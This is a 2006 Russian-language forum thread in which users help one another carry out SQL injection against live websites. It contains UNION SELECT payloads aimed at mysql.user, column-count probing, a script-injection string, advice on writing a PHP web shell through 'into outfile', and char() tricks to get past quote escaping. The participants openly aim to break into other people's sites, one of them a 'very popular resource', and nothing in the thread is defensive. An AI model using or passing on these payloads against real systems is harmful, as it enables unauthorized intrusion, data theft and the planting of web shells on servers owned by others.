SQL Injection Help

Discussion in 'PHP' started by netadmin, 1 Oct 2006.

  1. netadmin

    netadmin New Member

    Joined:
    28 Sep 2005
    Messages:
    29
    Likes Received:
    3
    Reputations:
    -4
    Zdarova
    nu mne intiresna ia sastavlaiu SQL zapros
    nu sperva test
    1.http://site.ze/cat.php?c=-1'A
    Atvet :
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'A ORDER BY `ID` DESC LIMIT 1' at line 1
    ___________________________________ ____________
    2.http://site.ze/cat.php?c=-1+union+se...ase(),null,7,8 ,9+from+mysql.user+where+id=1/*
    Atvet:Cannot query the database.
    Access denied for user 'top'@'localhost' to database 'mysql'
    ___________________________________ ___________
    3.http://site.ze/cat.php?c=-1+union+select+1,2,<script>alert(); </script>,null,5,null,7,8,9+from+mysq l.user+where+id=1/*
    Rabotait
    ___________________________________ ______________
    4.http://site.ze/cat.php?c=-1+union+se...,7,8%20%20,9/*
    ATVET:Cannot query the database.
    The used SELECT statements have a different number of columns
    ___________________________________ ______________________
    Shto mne shas delat
    ?
    Prashu abisnite
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    вообще при наличии ORDER BY `ID` DESC LIMIT 1' at line 1 у тебя не должно ничего работать вообще =)
     
  3. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Ордер бай идет после места инъекции.
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    не заметил..
    насчет 2го - часто к mysql имеет доступ либо root либо какой-ниб привелигированный юзер.. поэтому ищи поля бд которая доступна именно тебе
    насчет 4го - напиши полностью 4ый запрос в тэгах код, но вообще в ошибке и так сказанно что не то число столбцов
     
  5. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Мне вот это странно, что 3 работает, т.к. там нету ковычек, это что получается такая колонка есть.

    А в 4 ясно написано что кол-во колонок не совпадает.
     
  6. netadmin

    netadmin New Member

    Joined:
    28 Sep 2005
    Messages:
    29
    Likes Received:
    3
    Reputations:
    -4
    karoche nechivo ne vixodit da :(
     
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    давай пример. чем сможем тем поможем =))
    стихи прямо..
     
  8. steamer

    steamer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    44
    Likes Received:
    7
    Reputations:
    1
    Есть похожая тема. Нашел инекцию в очень раскрученном ресурсе. Параметр передается походу двум запросам, один на 5 столбцов, другой на 8. И не понятно, почему точка с запятой приводят к ошибке в любом месте, и после параметра и в Union запросе. Вот примеры.

    1. =0;/*
    Query Error!
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1Query Error!
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1

    2. =0 union select null, null, null, null, null/*

    Query Error!
    The used SELECT statements have a different number of columns

    3. =0 union select null, null, null, null, VERSION()/*
    Query Error!
    The used SELECT statements have a different number of columns

    Если сломаю, с меня адресок ресурса :)
     
  9. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    всю жизнь мечтали )))

    посмотри сколько точно столбцов участвует в запросе, при помощи order by
     
  10. steamer

    steamer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    44
    Likes Received:
    7
    Reputations:
    1
    В смысле, сколько участвует? На странице должно выводится два запроса с этим параметром, т.е. в одном из них должно быть 5 столбцов, ниже на стр второй с этим же параметром, но 8 столбцов. Возможно это даже разные таблицы. Дело в том, что при выборе например 4 столбцов выводятся два сообщения об ошибке и неправильном количестве столбцов, при выборе 5 или 8 только одно. Соответсвенно, в любом случае при запросе я получаю ошибку или от одного или от другого. Можно ли это исправить?
     
  11. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    кажется нет, но если 1 запрос выполняется и юзер root, то можно записать в файл код шелла
    select 'shell' into outfile '/путь/shell.php'
     
  12. steamer

    steamer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    44
    Likes Received:
    7
    Reputations:
    1
    Скорее всего не рут, хотя попробую, но если есть к примеру папка с правами RW для всех, то туда же можно записать? И еще включены магические квоты, для этого попробовать использовать char(), или что еще, чтоб получить каывчки кавычки

    типа select char(22) shell char(22) into outfile char(22) /путь/shell.php char(22)
     
  13. netadmin

    netadmin New Member

    Joined:
    28 Sep 2005
    Messages:
    29
    Likes Received:
    3
    Reputations:
    -4


    i setim ne chevno ne vixodit v maiom sluche
     
  14. steamer

    steamer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    44
    Likes Received:
    7
    Reputations:
    1
    Я все к теме sql. Появился вопрос. Есть строка: (две строки)

    1. select user from user where user=char(39)

    2. select user from user where user=char(39)root char(39)

    Так вот, первая проходит без ошибок это понятно. Вторая нифига. Что должно быть между root и char(39)? Какой знак может? Чтоб они обрабатывались как одна фраза. Может есть какой заменитель char для строк, а не для одного символа.